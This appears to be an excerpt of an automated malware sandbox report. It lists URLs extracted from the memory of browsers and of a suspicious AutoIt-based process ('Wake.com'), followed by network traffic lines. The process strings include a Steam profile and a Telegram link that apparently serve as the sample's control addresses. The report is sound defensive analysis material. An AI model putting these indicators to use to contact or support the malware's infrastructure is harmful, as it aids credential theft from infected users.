Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chromecache_453.18.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_456.18.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_456.18.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000010.00000003.1272548326.0000203C01260000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348895256.0000203C00CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349019724.0000203C00D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000010.00000002.1345993753.0000203C00558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000010.00000002.1345993753.0000203C00558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000010.00000002.1344186552.0000203C00118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyA2KlwBX3mkFo30om9LU
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349464140.0000203C00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000010.00000003.1288547289.0000203C01640000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1352056869.0000203C01640000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348776929.0000203C00C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349176372.0000203C00DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299443705.0000203C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Wake.com, 0000000C.00000003.1121450612.0000000001235000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121823251.0000000001256000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2168427542.0000000003A11000.00000040.00001000.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121478187.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199839170361
Source: Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199839170361go77lhMozilla/5.0
Source: chrome.exe, 00000010.00000002.1346026583.0000203C00598000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1288960343.0000203C0058C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=desktop_tab_groups
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Wake.com, 0000000C.00000003.1121450612.0000000001235000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121823251.0000000001256000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2168427542.0000000003A11000.00000040.00001000.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121478187.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/lw25chm
Source: chrome.exe, 00000010.00000002.1349464140.0000203C00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://tidal.com/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.28.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.28.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.28.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://vibe.naver.com/today
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://web.telegram.org/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://web.whatsapp.com
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_456.18.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: Acids.8.dr, Wake.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.deezer.com/
Source: Wake.com, 0000000C.00000002.2166362758.0000000003785000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349395091.0000203C00E44000.00000004.00000800.00020000.00000000.sdmp, sriwln.12.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Wake.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: chrome.exe, 00000010.00000002.1350797942.0000203C01238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000010.00000002.1344111795.0000203C000F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347387744.0000203C008FE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347568205.0000203C00938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1272548326.0000203C01260000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347845641.0000203C009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348122760.0000203C00A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347809865.0000203C009B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000010.00000003.1288547289.0000203C01640000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1352056869.0000203C01640000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000010.00000002.1352305034.0000203C01804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content_new.js.28.dr, content.js.28.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000010.00000002.1347876155.0000203C009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/#safe
Source: chrome.exe, 00000010.00000002.1348122760.0000203C00A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/browser-features/
Source: chrome.exe, 00000010.00000002.1348122760.0000203C00A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/browser-tools/
Source: chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348776929.0000203C00C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351825929.0000203C01510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: Wake.com, 0000000C.00000002.2166362758.0000000003785000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346192972.0000203C006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347387744.0000203C008C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346221527.0000203C006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344939441.0000203C003CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349395091.0000203C00E44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344309759.0000203C00164000.00000004.00000800.00020000.00000000.sdmp, sriwln.12.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: Web Data.28.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299443705.0000203C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000010.00000002.1346166993.0000203C00660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000010.00000002.1344665943.0000203C00204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chromecache_456.18.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_456.18.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000010.00000002.1350797942.0000203C01238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000010.00000002.1350797942.0000203C01238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: service_worker_bin_prod.js.28.dr	String found in binary or memory: https://www.gstatic.com/_/apps-fileview/_/js/
Source: chrome.exe, 00000010.00000002.1346931150.0000203C00864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chromecache_453.18.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chrome.exe, 00000010.00000002.1353278705.0000203C01AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Source: chromecache_453.18.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_453.18.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000010.00000002.1352768815.0000203C01974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000010.00000003.1288631392.0000203C01680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299443705.0000203C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299630851.0000203C019AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1352768815.0000203C01974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ke5z57QrnxY.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.Rc_yzHk8ifQ.L.W.O/m=qmd
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.instagram.com
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.last.fm/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.messenger.com
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Wake.com, 0000000C.00000002.2172626454.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.office.com
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: jPKFh06jHI.exe	String found in binary or memory: https://www.ssl.com/repository0
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.tiktok.com/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://www.youtube.com
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
